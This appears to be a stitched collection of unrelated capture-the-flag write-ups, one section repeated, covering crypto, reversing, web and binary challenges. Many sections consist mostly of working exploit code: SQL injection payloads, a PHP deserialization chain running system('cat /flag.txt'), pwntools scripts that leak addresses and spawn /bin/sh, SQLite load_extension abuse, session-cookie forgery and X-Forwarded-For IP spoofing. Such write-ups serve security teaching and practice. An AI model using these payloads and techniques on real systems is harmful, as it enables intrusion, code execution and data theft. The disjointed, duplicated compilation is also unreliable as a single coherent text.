```jsfunction zandrea() { var thiego = [".io", "uscat", "72OOnzsM", "a_too", "log", "byuct", "2058111VsJmNt", "days_", "5bkhSkw", "6278wSwEVI", "1253130xNttWw", "Hmmmm", "l_to_", "where", "flag ", "4105944XqgSTd", "10iGxSxt", "53MPVCCs", "cator", "make_", "obfus", "254009tqYQyk", "510501FWdRVq", "f{one", "deobf", "hese_", "_of_t", "172645okvXfp", "is?", "4moqIlV"]; zandrea = function () { return thiego; }; return zandrea();}(function (annelynn, teaghan) { var requel = l, makade = annelynn(); while (true) { try { var doriel = -parseInt(requel(497)) / 1 * (-parseInt(requel(519)) / 2) + parseInt(requel(502)) / 3 * (parseInt(requel(509)) / 4) + -parseInt(requel(518)) / 5 * (-parseInt(requel(520)) / 6) + -parseInt(requel(501)) / 7 * (parseInt(requel(512)) / 8) + parseInt(requel(516)) / 9 * (-parseInt(requel(496)) / 10) + parseInt(requel(507)) / 11 + parseInt(requel(495)) / 12; if (doriel === teaghan) break; else makade.push(makade.shift()); } catch (loveya) { makade.push(makade.shift()); } }}(zandrea, 347984));
function l(x, y) { var b = zandrea(); return l = function (k, o) { k = k - 494; var hiatt = b[k]; return hiatt; }, l(x, y);}
function hi() { var a = l; // document.domain == a(500) + a(498) + a(510) && console[a(514)](a(515) + a(503) + a(506) + a(505) + a(517) + "imma_" + a(499) + a(513) + a(522) + a(504) + a(511) + "e_thi" + "s}"), console.log(a(521) + " I wo" + "nder " + a(523) + " the " + a(494) + a(508)); console.log(a(500) + a(498) + a(510) && console[a(514)](a(515) + a(503) + a(506) + a(505) + a(517) + "imma_" + a(499) + a(513) + a(522) + a(504) + a(511) + "e_thi" + "s}"), console.log(a(521) + " I wo" + "nder " + a(523) + " the " + a(494) + a(508)));
}hi();```
I modified the code after the deobfuscation and console.logged the line which was passed to document.domain. Used `nodejs` to run the code.
```shmj0ln1r@Linux:~/obfuscJStor$ nodejs deobfusc.jsbyuctf{one_of_these_days_imma_make_a_tool_to_deobfuscate_this}```
As simple as that :)
> `Flag : byuctf{one_of_these_days_imma_make_a_tool_to_deobfuscate_this}`
# [Original Writeup](https://themj0ln1r.github.io/posts/byuctf23) |
Author: @lambdahx
I've spent way too much time on this overthinking about _poem code_ but this ended up being much easier than expected.
Using this [site](https://www.dcode.fr/cipher-identifier) i was able to identify some of the possible cyphers, including
Phillips Cipher Keyboard Change Cipher Base62 Encoding
The most obvious one to try seemed to be the keyboard change cipher. Decoding the result gives ABC...Z->qwerty and the following string:
thefragisbyuctfamessagesocrealacharrengetohackelsarinewelevele
Or expanded:
the frag is byuctf a message so creal a charrenge to hackels a rine we levele
After noticing that 'frag' should be 'flag' and 'creal' makes more sense as 'clear' I tried exchanging r and l and got the following string:
the flag is byuctf a message so clear a challenge to hackers a line we revere
And we submit the flag
byuctf{a message so clear a challenge to hackers a line we revere} |
# Baby Shuffle — Solution
We are given a file called `server.py` along with a connection string to theremote server. When we connect to the server, we receive the following data:

The setup of the challenge is basically laid out in front of us. More precisely,we have the following information: * The public [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) key, i.e. the modulus $N$ and the public exponent $e$. * The ciphertext produced by encrypting the flag using the above public key. * The ciphertext produced by encrypting the permuted flag using the above public key. * The challenge strongly hints that the "flag shuffling" was not done partciularly well.
Let's check out the relevant parts of the implementation in `server.py`.
```pythonclass RSA: BITS = 512
def __init__(self): self.p = getPrime(self.BITS) self.q = getPrime(self.BITS) self.n = self.p * self.q self.e = 17
def pubkey(self): return (self.n, self.e)
def encrypt(self, m): return pow(m, self.e, self.n)```
So far, so good... The `RSA` class seems to be reasonably implemented in thecontext of a CTF. Let's see how is it used.
```pythonflag = open("flag.txt", "r").read().strip()shuffled_flag = flag[-1] + flag[:-1]
assert(len(flag) == 61)
myprint(f"(N, e) = ({cipher.n}, {cipher.e})")
m1 = bytes_to_long(flag.encode("utf-8"))m2 = bytes_to_long(shuffled_flag.encode("utf-8"))
c1 = cipher.encrypt(m1)c2 = cipher.encrypt(m2)
myprint(f"c1 = {c1}")myprint(f"c2 = {c2}")```
Ok, looks like the flag is not shuffled at all. Instead, it has been[circularly shifted](https://en.wikipedia.org/wiki/Circular_shift) to the rightby one character.
If this doesn't immediately give out the attack to you, it is a good idea toresearch some well-known attacks against the RSA cryptosystem. A great resourcefor that purpose is [thispaper](https://crypto.stanford.edu/~dabo/pubs/papers/RSA-survey.pdf) by DanBoneh.
Just by looking at the attack names, the "Franklin-Reiter Related MessageAttack" immediately stands out because the two encrypted messages in our caseare definitely strongly related. Let's see what is this attack all about andwhat conditions need to be satisfied in order to mount it.
The necessary conditions are: * We need to know the public key with which two messages were encrypted * The public exponent $e$ needs to be "small" * Messages $M_1$ and $M_2$ need to satisfy $M_1 = f(M_2) \mod N$, for some known linear polynomial $f(x) = ax + b \in \mathbb{Z}_N[x]$, where $b \ne 0$.
Given these conditions are met, an attacker should be able to deduce $M_1$ and$M_2$, which is exactly what we want.
The first two conditions obviously hold, what about the third one? Can we findthe linear polynomial $f(x)$ such that $f(M_1) = M_2$?
Of course we can!
To make our lives easier, we will transform $M_2$ (the *shuffled* flag) into$M_1$ using a linear polynomial. Let's see, we need to: * Add the character `}` as the last element. * Remove the character `}` from the first element.
To add a character, we need to *make some room for it*. In other words, we willneed to shift $M_2$ to the left by 8 bits in order to append a new character.This is the same as multiplying $M_2$ by $2^8$. Adding the character now boilsdown to incrementing $M_2$ with the ascii value of `}`, which is $125$.
Now to remove the first character, we will simply decrease the value of $M_2$by the shifted ascii value of `}` by the length of the flag. This equals to$2^{61 \cdot 8} \cdot 125$.
In total, we've multiplied $M_2$ by $2^8$, therefore $a = 2^8$. We've alsoadded to it $125$, and subtracted $2^{61 \cdot 8} \cdot 125$, making $b = 125 - 2^{61 \cdot 8} \cdot 125$
Now, all that is left to do is to implement the attack by following thedescription in the paper.
Putting it all together in a solve script:
```sagefrom Crypto.Util.number import *
(N, e) = (112153052251909364783308270590397746531609910104166334595923202016390447976677079867403232057727250231696335160570132850610262158172833494281653230380660063956295425794739260806712635773413785147778859690744295256452049506808129359916021415700901260208117922700040853622956983687979711198405721229154361646579, 17)c1 = 78864742082332223108178230358000266004470931720079683255285292238641115808760648155039121450606113339286686223280031100480222153671600244333633846762469936846532257315775568469791246301540478826458197579990381744555892521144223274010450757999785181053774832962110745144727049687042555070865449787051501053959c2 = 6585395060343147891100039023563439293501539588909846320283080181220377506011006401305950317373682510271235776656043396895585148284029657373536876376820285984022186488664177497404180038601761647270471329724434774733979814363977868741805880498722071147845627397600301632678051748619345144811128191656190996124L = 61 * 8
a = 2^8b = -2^L * ord('}') + ord('}')
def compositeModulusGCD(a, b): if b == 0: return a.monic() return compositeModulusGCD(b, a % b)
P.<x> = PolynomialRing(Zmod(N))f = (a*x + b)^e - c1g = (x)^e - c2m = Integer(N - (compositeModulusGCD(f,g)).coefficients()[0])
shuffled = long_to_bytes(m).decode("utf-8")flag = shuffled[1:] + shuffled[0]print(flag)```
This finally yields the flag: `TBTL{1_5i7_4nd_wa7ch_7h3_ch1ldr3n_pl4y_w17h_r3l4t3d_m3554g35}`. |
Author: @lambdahx
# Prompt
>See if you can find the flag!
Attachment: gettingBetter
# SolutionAs usual, the first thing to do is see if there's anything interesting using the 'strings' command and the only interesting thing seemed to be the following string
>Xmj%yzwsji%rj%nsyt%f%sj|y
I decided to open the program in ghidra to see what's going on. I found the following code in main:
```c local_108 = 0x6e806b79687a7e67; local_100 = 0x4c64; uStack_fe = 0x796a38647935; uStack_f8 = 0x6a59; local_f6 = 0x823a3c3e36642657; decrypt_passphrase(&local_108,local_178,5); print_flag(local_178);]```It seems like a string we could use as it's passed to a function decrypt_passphrase as an argument. After taking a look at the function and changing some variable names, we come to see the following code:
```c void decrypt_passphrase(long in_str,long out_str,char int_5)
{ int i;
for (i = 0; *(char *)(in_str + i) != '\0'; i = i + 1) { *(char *)(out_str + i) = *(char *)(in_str + i) - int_5; } *(undefined *)(out_str + i) = 0; return; }```
What this does is simply subtract 5 from the ascii value of each character. We can easily do this ourselves with some simple python code. Note that chars are read right-to-left. I clearly forgot about the other string so the following is the code I used to get the flag:
```pya = [0]*5 #the following are just strings that i found in ghidraa[0] = '6e806b79687a7e67' a[1] = '4c64'a[2] = '796a38647935'a[3] = '6a59'a[4] = '823a3c3e36642657's = "".join([(bytes.fromhex(substr).decode('latin-1'))[-1::-1] for substr in a])print("".join([chr(ord(c)-5) for c in s]))```
The flag is the following
> byuctf{i_G0t_3etTeR!_1975}
A more optimal way to solve the challenge is to use a similar code to put the string we found using 'strings' command
```pyprint("".join([chr(ord(c)-5) for c in "Xmj%yzwsji%rj%nsyt%f%sj|y"]))```
This returns the following string:
>She turned me into a newt
Which when put as an input to the program also gives the flag... A much simpler way to do it.
|
# MI6configuration - Writeup (Solve any local VM challenge basically)Writeup Author - @refr4g
We know that the password for decrypting the volume is the first name of the James Bond character "Q". After a bit of googling, we found that it was Major Boothroyd, who is known as Q (which stands for Quartermaster). We found the password for decrypting the volume and it is "major".
We will export the virtual machine (appliance), and on that machine we will insert the ubuntu installation iso file so that we can get a live ubuntu.

Now boot into the ubuntu installation, and select try ubuntu. Then open terminal and login as root.
We have to list block devices and see on which partition are system files of challenge.

We can see that /dev/sda5 device is LUKS crypted and thats what we are looking for, on that device are system files of challenge.
Now we will decrypt it using cryptsetup.

We can see that device has been successfully decrypted.
Mount decrypted root partition to /mnt.

Root partition is successfully decrypted. Now we can get all flags for the challenge.

* **Flag 1** - `byuctf{anonymous_ftp}`

* **Flag 3** - `byuCTF{cronjobzz}`

* **Flag 4** - `byuctf{sudo_mi6configured}` |
Writeup for SecuredHashedDbTo get the admin name "adminRoot00988", simply edit the payload and make a sleep based sql injection```import requestsr = requests.Session()front = "https://app.shdb.challs.dantectf.it"pl = 'username: \\\' UNION (SELselectECT "3", "adminRoot00988", "$2y$10$UMHmuj7Pq.UIq3bhLf9MZOvCBz.NKkkH18vPmIUYmZwoxGVb0yLmy"); -- -'r.post(f"{front}/login", data={'username': pl, 'password': 'enzo'})"""locationFile); preg_match('/[^;]+;$/', $content_of_the_file, $matches); return eval($matches[0]); }}class MD5DBEngine { private $HashString = ""; private $objArray = array(); public function __construct() { $this->objArray['obj'] = new Visualizer(); }}$v = new MD5DBEngine();echo(base64_encode(serialize($v)));?>"""data = {'key': 'md5Searcher', 'value': 'TzoxMToiTUQ1REJFbmdpbmUiOjI6e3M6MjM6IgBNRDVEQkVuZ2luZQBIYXNoU3RyaW5nIjtzOjA6IiI7czoyMToiAE1ENURCRW5naW5lAG9iakFycmF5IjthOjE6e3M6Mzoib2JqIjtPOjEwOiJWaXN1YWxpemVyIjoxOntzOjI0OiIAVmlzdWFsaXplcgBsb2NhdGlvbkZpbGUiO3M6MTE6InBocDovL2lucHV0Ijt9fX0'}ok = r.post(f"{front}/getSignedCookie", data=data)token = ok.cookies._cookies["app.shdb.challs.dantectf.it"]["/"]["magicToken"].valueb = requests.Session()back = "https://backend.shdb.challs.dantectf.it"b.cookies.set("decodeMyJwt", token, domain="backend.shdb.challs.dantectf.it")print(b.post(f"{back}/index.php", data="system('cat /flag.txt');").text) ``` |
[https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#div3rev](https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#div3rev)
TLDR; bruteforce the flag |
TLDR; The wave file contains APRS data in AX.25 protocol. Decode using DireWolf and plot the resulting GPS coordinates to get the flag.https://meashiri.github.io/ctf-writeups/posts/202306-dantectf/#almost-perfect-remote-signing |
We can also load libc.so.6 to execute arbitrary function but the parameters are fixed.
- Use puts to leak the PIE- Guess the heap (1/0x2000) and build a fake structure on heap by function gets- system /bin/sh
```pyfrom pwn import *
context.log_level='debug'p = remote("notabug2.nc.jctf.pro",1337)
ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b)sa = lambda a,b: p.sendafter(a,b)sl = lambda a: p.sendline(a)s = lambda a: p.send(a)
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")ru(": \n")lic = u64(p.recvn(6).ljust(8,b'\x00'))warning(hex(lic))pie_base = lic - 0x1589a0
heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000
heap1 = 0x1150 + heapheap2 = 0x103c0 + heap# system_plt = (pie_base+0x2228C)system_plt = pie_base + 0x10910if pie_base > 0x600000000000: p.close()warning(hex(pie_base)) #lic+0x28b8sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))# raw_input()dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")p.sendline(b"echo n132")data = p.read(timeout=1)
if b'n132' in data: p.sendline("/jailed/readflag") p.read() input() p.interactive()else: p.close()``` |
# Exploration
Dante's Barber Shop website greets us with a short text and some pictures about their work. The login button in the upper right also immediately catches attention.

However, there doesn't seem to be an easy way to bypass the login: `admin:admin` doesn't work and a basic SQL injection also only leads to "invalid username and password". Thus, let's explore the site a little further.
Opening the developer console and having a look at the site's source doesn't reveal anything surprising either. Nevertheless, we noticed that the six pictures on the site are numbered `barber2.jpg` to `barber7.jpg`. So, what about `barber1.jpg`?

As it turned out, a picture with this name exists on the web server, but it doesn't portray anything related to hair or beard. Instead, it shows a username (`barber`) and password for a backup user. Needless to say, these credentials work on the login form – we have successfully logged in!
# Road to the flag
But not so fast! There is no flag yet, only a seemingly boring list of customers and their phone numbers -- and a search field to filter the list.
This downright screams "SQL injection"! A list like this is the perfect fit for SQL's `UNION` keyword. It simply takes whichever `SELECT` statement comes afterwards and appends its result to the query result of the first `SELECT`. The important thing hereby is that the number of columns of both results needs to match, otherwise SQL won't be able to process the query. This is exactly what happened on the first attempt to select and union some constant values. Since the table shows three columns, our first attempt was
```sql' UNION SELECT 1, 2, 3;```
which didn't work as expected, but fortunately produced this wonderful error message:

We quickly found out that the correct number of columns was four, most likely because the internal SQL statement simply selects all fields (`*`) including the `id` column, which is just not displayed on the site.

Now that we have an idea of how to print out data from the database, we only need to query it for something useful! Since we are currently logged in as the user `barber` (which doesn't really sound like an admin account), we might want to see if there are other users stored in the database. The most straightforward naming for such a table would be `users`, containing at least the columns `username` and `password`. Let's see if we are lucky:
```sql' UNION SELECT 1, 2, username, password FROM users;```

We are lucky! There is the user `barber` that we already know and an account with the username `admin`.
The only thing that's left is to use these credentials to login as the admin and voilà: there is our flag! |
# MI6configuration - Writeup (Solve any local VM challenge basically)Writeup Author - @refr4g
We know that the password for decrypting the volume is the first name of the James Bond character "Q". After a bit of googling, we found that it was Major Boothroyd, who is known as Q (which stands for Quartermaster). We found the password for decrypting the volume and it is "major".
We will export the virtual machine (appliance), and on that machine we will insert the ubuntu installation iso file so that we can get a live ubuntu.

Now boot into the ubuntu installation, and select try ubuntu. Then open terminal and login as root.
We have to list block devices and see on which partition are system files of challenge.

We can see that /dev/sda5 device is LUKS crypted and thats what we are looking for, on that device are system files of challenge.
Now we will decrypt it using cryptsetup.

We can see that device has been successfully decrypted.
Mount decrypted root partition to /mnt.

Root partition is successfully decrypted. Now we can get all flags for the challenge.

* **Flag 1** - `byuctf{anonymous_ftp}`

* **Flag 3** - `byuCTF{cronjobzz}`

* **Flag 4** - `byuctf{sudo_mi6configured}` |
# An Average Challenge -- Solution
The simple binary allows the user to enter some number of integers and proceeds to calculate their average.
Examination of the source code reveals two issues we can take advantage of:
1. Variable `n` used to store the number of players is an unsigned 64-bit integer, while the the variable length array is of size `n+1`. Providing SIZE_MAX (or simply -1) as the value of `n`, will overflow and allocate an VLA `score` of size 0 on stack and continue to read the integers in the for loop.
2. There's no check on the value returned by the first `scanf`, if we give a string "n" as input when an integer is expected, `score[i]` will remain unchanged and "n" will be consumed by the subsequent `scanf`. This gives us the ability to read the array value and than either provide the same value or change it.
```cvoid vuln() { size_t n; printf("Enter number of players:\n"); scanf("%lu", &n);
int score[n+1]; score[0] = 0; for (int i=1; i<=n; i++) { char response; do { printf("Enter score for player %d:\n", i); scanf("%d", &score[i]); printf("You entered %d. Is this ok (y, n)?:\n", score[i]); scanf(" %c", &response); } while (response != 'y'); }
int total = 0; for (int i=1; i<=n; i++) total += score[i]; printf("Average score is %lf.\n", total/(double)n);}```
Hence, we can examine and abitrarily change the stack frame of the `vuln` function.
The plan is now to simply change the return address to point to the `win` function. Since [ASLR](https://ctf101.org/binary-exploitation/address-space-layout-randomization/) is used, we need to read the old return address and add the offset of the `win` function. Also, we must make sure not the modify the [stack canary](https://ctf101.org/binary-exploitation/stack-canaries/). Another, technical detail is that the stack pointer needs to be [aligned to a 16-byte boundary before function call](https://www.ctfnote.com/pwn/linux-exploitation/rop/stack-alignment). Hence, we need a mini [ROP](https://ctf101.org/binary-exploitation/return-oriented-programming/) chain instead of a direct return to the `win` function. Finally, we need to modify the value of local variable `n` in order for the loop to terminate.
The stack layout and the offsets are easily found using a debugger.
```gef➤ telescope $rsp -l 0x100x007ffe23725050│+0x0000: 0x0000000000000000 ← $rbx, $rsp0x007ffe23725058│+0x0008: 0x007f42dee0b760 → 0x00000000fbad28870x007ffe23725060│+0x0010: 0xffffffffffffffff0x007ffe23725068│+0x0018: 0x00000000000000000x007ffe23725070│+0x0020: 0x007f42dee072a0 → 0x00000000000000000x007ffe23725078│+0x0028: 0x9f995a0b490775000x007ffe23725080│+0x0030: 0x007f42dee0b760 → 0x00000000fbad28870x007ffe23725088│+0x0038: 0x00000000000000000x007ffe23725090│+0x0040: 0x00558097000890 → <_start+0> xor ebp, ebp0x007ffe23725098│+0x0048: 0x007ffe237251a0 → 0x00000000000000010x007ffe237250a0│+0x0050: 0x00000000000000000x007ffe237250a8│+0x0058: 0x00000000000000000x007ffe237250b0│+0x0060: 0x007ffe237250c0 → 0x00558097000c40 → <__libc_csu_init+0> push r15 ← $rbp0x007ffe237250b8│+0x0068: 0x00558097000c33 → <main+54> mov eax, 0x00x007ffe237250c0│+0x0070: 0x00558097000c40 → <__libc_csu_init+0> push r150x007ffe237250c8│+0x0078: 0x007f42dea40c87 → <__libc_start_main+231> mov edi, eaxgef➤ info address winSymbol "win" is at 0x55809700099a in a file compiled without debugging.gef➤ print 0x00558097000c33-0x55809700099a$1 = 0x299```
Putting it all together:```python#!/usr/bin/env python3
from pwn import *
def conn(): context.update(arch='amd64', os='linux', terminal=['tmux', 'new-window']) if args.REMOTE: p = remote('0.cloud.chals.io', 11114) else: p = process('./chall') return p
p = conn()
p.sendlineafter(b':', b'-1')for i in range(33): p.sendlineafter(b':', b'n') p.recvuntil(b'You entered') v = p.recvuntil(b'.') v = int(v[:-1]) print('{} {:08x}'.format(i, v)) if i == 7: v = 33 elif i == 8: v = 0 elif i == 29: low = v v += 6 elif i == 30: high = v elif i == 31: v = low - 0x299 elif i == 32: v = high p.sendlineafter(b':', str(v).encode('ascii')) p.sendlineafter(b'?:', b'y')
p.interactive()``` |
## Sentence To Hell
was a pwn challenge from **DanteCTF 2023**.
I did not have time to participate to **DanteCTF** as I was doing justCTF instead...
anyway I did this one quickly, which is a classic type of challenge where you can write a value to a chosen address to try to get code execution.
### 1 - The program
the program is small , so the reverse is quick ?, here is the `main` (and only) function:
```cint main(int argc, const char **argv, const char **envp){ __int64 *target_addr; // [rsp+8h] [rbp-18h] BYREF __int64 value; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); puts("Please, tell me your name: "); fgets(your_name, 12, stdin); your_name[strcspn(your_name, "\n")] = 0; printf("Hi, "); printf(your_name); // format string vuln, used to puts(" give me a soul you want to send to hell: "); __isoc99_scanf("%lu", &value); getchar(); puts("and in which circle you want to put him/her: "); __isoc99_scanf("%lu", &target_addr); getchar(); *target_addr = value; // write choosen value to target address puts("Done, bye!"); return 0;}```
let's `checksec` the binary to see protection in place:

Ok.. so, the author of the challenge gave us a format string vulnerability, the line `printf(your_name)` which will be useful to leak various addresses, like stack, libc, program base, etc...
then we can choose an address and a value to write. and the program return.
pretty classic.
**Useful to note:** Here the library used is `libc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.1)` which is the libc used by `Ubuntu 22.04` distribution.
### 2 - Achieving code execution.
Well there are various way to achieve code execution, I found at least 3 different one, but maybe there are many more:
1. Leaking stack address with the format string vuln, and overwriting main return address on stack.2. Leaking libc address with the format string vuln, and overwriting `strlen` libc GOT entry that will be called by `puts()`3. leaking ld.so address with the format string vuln, and creating a fake `fini_array` table entry, that will be executed by `_dl_fini` called by `run_exit_handlers()` at program exits..
that's not so bad, for my exploit I will use a mix of option 1 and 3.
I have tried a one gadget single shot via option 1 or 2, but none of the one gadgets works..so I decide to go another way.
First I will overwrite main return address on stack, to return to main. I will do this two times, because the limited 11 chars input in `your_name` will not allow me to leak all the values I want with the format string in one turn.
* First round, I will leak stack and libc address.
* Second round, I will leak exe base and `rtld_global` address.
* Third round , I will create a fake `fini_array` table in `your_name`variable, and will overwrite an entry in ld.so to points on it. That fake `fini_array`table will point to a one gadget that works at this point, and we will get code execution.
to achieve code execution in the third round, let's have a look at `_dl_fini` function in libc 2.35 file: `elf/dl-fini.c` (line 123)
```c /* Is there a destructor function? */ if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) { /* When debugging print a message first. */ if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);
/* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); }```
we overwrite `l->l_info[DT_FINI_ARRAY]` pointer (which is 0x13b0 bytes after `_rtld_global` in `ld.so`) with the address
of our `your_name`variable in .bss, in this variable we will forge a `fini_array` entry.
you can see that the array pointer is calculated by adding `l->l_addr`to `l->l_info[DT_FINI_ARRAY]->d_un.d_ptr` which is the second pointer of the `fini_array` entry.
```cElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);```
then this entry is called by:
```c((fini_t) array[i]) ();```
the `d_un` structure is declared like this:
```cptype l->l_info[DT_FINI_ARRAY]->d_untype = union { Elf64_Xword d_val; // address of function that will be called, we put our onegadget here Elf64_Addr d_ptr; // offset from l->l_addr of our structure}```
So in our `your_name` variable, we put our onegadget and 0x4050, which is the offset to the ̀your_name` variable..
you can check this mechanism under gdb, by putting a breakpoint like this: `b *_dl_fini+445`
### 3 - The Exploit
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def logleak(name, val): log.info(name+" = %#x" % val)def sa(delim,data): return p.sendafter(delim,data)def sla(delim,line): return p.sendlineafter(delim,line)def sl(line): return p.sendline(line)def rcu(d1, d2=0): p.recvuntil(d1, drop=True) # return data between d1 and d2 if (d2): return p.recvuntil(d2,drop=True)
exe = ELF('./sentence_patched')libc = ELF('./libc.so.6')
host, port = "challs.dantectf.it", "31531"
if args.REMOTE: p = remote(host,port)else: p = process(exe.path)
# leak stack & libc addresssla('name: \n', '%p.%11$p.')stack = int(rcu('Hi, ', '.'),16)logleak('stack',stack)libc.address = int(p.recvuntil('.',drop=True),16) - 0x29d90logbase()onegadgets = one_gadget('libc.so.6', libc.address)# ret2maintarget = stack+0x2148 # libcmain return address on stacksla('hell: \n', str(libc.address+0x29d4c))sla('her: \n', str(target))
# now we leak exe base & rltd_global addresstarget = stack+0x2148sla('name: \n', '%13$p.%21$p')exe.address = int(rcu('Hi, ', '.'),16)-0x1229logleak('exe base',exe.address)rtld = int(p.recvuntil(' ',drop=True),16)logleak('rtld',rtld)# ret2main againsla('hell: \n', str(libc.address+0x29d4c))sla('her: \n', str(target))
# write # makes l->l_info[DT_FINI_ARRAY] point to your_name variable on stack.. which will contains offset to a fake fini_array table (itself) which entry points to a onegadgettarget = rtld+0x13b0sla('name: \n', p64(onegadgets[8])+p16(0x4050)+b'\x00' )sla('hell: \n', str(exe.address+0x4050))sla('her: \n', str(target))
p.interactive()```
you like to see fancy chars moving on screen?

so it's finished, see you in the next world. *nobodyisnobody still learning..* |
There is a new feature for sqlite that allows loading external libcs.
For this challenge, we can create a new lib so we can just load a external lib to execute arbitrary command.exp.c```c/* Add your header comment here */#include <stdio.h>#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */SQLITE_EXTENSION_INIT1
/* Insert your extension code here */
#ifdef _WIN32__declspec(dllexport)#endif/* TODO: Change the entry point name so that "extension" is replaced by** text derived from the shared library filename as follows: Copy every** ASCII alphabetic character from the filename after the last "/" through** the next following ".", converting each character to lowercase, and** discarding the first three characters if they are "lib".*/int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); /* Insert here calls to ** sqlite3_create_function_v2(), ** sqlite3_create_collation_v2(), ** sqlite3_create_module_v2(), and/or ** sqlite3_vfs_register() ** to register the new features that your extension adds. */ return rc;}void exp(){ execve("/tmp/readflag",0,0);}//select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');//select Load_extension('/jailed/readflag','_start');//select cast("\x01\x02\x03\x04" as text) ;```
exp.py```pyfrom pwn import *context.log_level='debug'context.arch='amd64'#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']# p=process('./pwn')import binasciip = remote("0.0.0.0",13337)ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b)sa = lambda a,b: p.sendafter(a,b)sl = lambda a: p.sendline(a)s = lambda a: p.send(a)sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")with open("./exp.so",'rb') as f: dt = f.read()sla(b"> ",b"INSERT INTO images(name,type,img)")dt = binascii.hexlify(dt)
print(dt.decode())
sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")sla(b"> ",b"select Load_extension('./exp','exp');")p.interactive()```The above script works for the local one but not the remote one. My teammate found another way to compile it and make it work for the remote one. |
(Participated in a team my CTFtime account is not in)
## A First Look
The web app is a forum, with two threads posted.

Viewing one of the threads, it can be seen that the username of admin is `janitor`.

The web app is written in Ruby.
The `/flag` endpoint and `is_allowed_ip` function is especially interesting:
```rubyget "/flag" do if !session[:username] then erb :login elsif !is_allowed_ip(session[:username], request.ip, config) then return [403, "You are connecting from untrusted IP!"] else return config["flag"] endend
def is_allowed_ip(username, ip, config) return config["mods"].any? { |mod| mod["username"] == username and mod["allowed_ip"] == ip }end```
It checks the if the user logged in is a moderator and if the IP address is the allowed IP address in a config file.
## Craft Admin Cookie
When clicking on "New Thread" without filling in anything, the website shows an error page with backtrace and environment information. The session secret as well as how the session cookie is encoded is revealed.

The session is implemented with Rack Protection. With some research into the [source code](https://github.com/sinatra/sinatra/blob/5f4dde19719505989905782a61a19c545df7f9f9/rack-protection/lib/rack/protection/encryptor.rb#L19), and from environment info, it can be seen that the session cookie is encoded and encrypted as follows:
1. The data is first serialised with Marshal2. It is then encrypted with AES-256-GCM with the first 32 bytes of the session secret as the key3. The encrypted data, IV and authentication tag are then encoded with URL-safe base644. The encrypted data, IV and authentication tag are then concatenated with a `--` delimiter
My script to modify the session cookie into an admin cookie is as follows:
```pythonimport base64import urllib.parseimport rubymarshal.reader, rubymarshal.writerfrom Crypto.Cipher import AES
secret = bytes.fromhex('[secret hex string]')cookie = '[original cookie]'ct, iv, auth = cookie.split('--')ct, iv, auth = map(urllib.parse.unquote, [ct, iv, auth])ct, iv, auth = map(base64.b64decode, [ct, iv, auth])cipher = AES.new(secret[:32], AES.MODE_GCM, iv)dec = cipher.decrypt(ct)d = rubymarshal.reader.loads(dec)
d['username'] = 'janitor'm = rubymarshal.writer.writes(d)cipher = AES.new(secret[:32], AES.MODE_GCM, iv) # I just reuse the original IVct, auth = cipher.encrypt_and_digest(m)ct, iv, auth = map(base64.b64encode, [ct, iv, auth])ct, iv, auth = map(urllib.parse.quote, [ct, iv, auth])cookie = f'{ct}--{iv}--{auth}'print(cookie)```
## Bypass IP Restriction
With the admin cookie, the `/flag` endpoint now does not prompt to login, but instead shows a 403 error page with message "You are connecting from untrusted IP!".
### Spoof the IP Address
In `nginx.conf`, it can be seen that the `REMOTE_ADDR` header is set to localhost with the following:
```nginxproxy_set_header REMOTE_ADDR localhost;```
Research on how the app gets `request.ip`, found in this [Stack Overflow answer](https://stackoverflow.com/a/43014286), that if the `REMOTE_ADDR` is in reserved private subnet ranges, it will instead use the `X-Forwarded-For` header, thus the IP address can be spoofed with `X-Forwarded-For`.
### Find the Allowed IP Address
